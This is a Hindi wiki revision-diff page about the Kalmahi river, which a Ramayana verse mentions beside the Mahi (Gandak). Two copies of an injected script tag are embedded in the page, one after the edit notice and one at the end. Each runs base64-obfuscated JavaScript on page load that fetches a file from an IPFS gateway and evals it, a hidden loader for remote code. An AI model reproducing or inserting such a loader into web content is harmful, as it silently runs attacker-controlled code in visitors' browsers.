"कालमही नदी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('{{पुनरीक्षण}} <poem>'महींकालमहीं चापि शैलकानन सेविताम् ब...' के साथ नया पन्ना बनाया)
 
पंक्ति 1: पंक्ति 1:
 
{{पुनरीक्षण}}
 
{{पुनरीक्षण}}
 +
*मही नदी [[बिहार]] की [[गंडक नदी]] का एक नाम है।
 +
*कालमही नदी इसी की कोई उपशाला या निकटवर्ती नदी हो सकती है।
 +
*[[सुग्रीव]] ने वानरों की सेना को [[सीता]] की खोज में पूर्व-दिशा की ओर भेजते हुए वहाँ के स्थानों के वर्णन के प्रसंग में मही नदी और कालमही नदी का उल्लेख किया है।
 +
 
<poem>'महींकालमहीं चापि शैलकानन सेविताम्  
 
<poem>'महींकालमहीं चापि शैलकानन सेविताम्  
 
ब्रह्ममालंविदेहांश्च मालवा न्काशिकोसलान्'<ref>[[वाल्मीकि]] [[रामायण]] [[किष्किंधा]] 40,22।</ref></poem>
 
ब्रह्ममालंविदेहांश्च मालवा न्काशिकोसलान्'<ref>[[वाल्मीकि]] [[रामायण]] [[किष्किंधा]] 40,22।</ref></poem>
[[सुग्रीव]] ने वानरों की सेना को [[सीता]] की खोज में पूर्व-दिशा की ओर भेजते हुए वहाँ के स्थानों के वर्णन के प्रसंग में मही नदी और कालमही नदी का उल्लेख किया है। मही नदी [[बिहार]] की [[गंडक नदी]] का एक नाम है। कालमही नदी इसी की कोई उपशाला या निकटवर्ती नदी हो सकती है।
+
 
 
{{संदर्भ ग्रंथ}}
 
{{संदर्भ ग्रंथ}}
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==

10:50, 27 जुलाई 2011 का अवतरण

Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • मही नदी बिहार की गंडक नदी का एक नाम है।
  • कालमही नदी इसी की कोई उपशाला या निकटवर्ती नदी हो सकती है।
  • सुग्रीव ने वानरों की सेना को सीता की खोज में पूर्व-दिशा की ओर भेजते हुए वहाँ के स्थानों के वर्णन के प्रसंग में मही नदी और कालमही नदी का उल्लेख किया है।

'महींकालमहीं चापि शैलकानन सेविताम्
ब्रह्ममालंविदेहांश्च मालवा न्काशिकोसलान्'[1]


टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>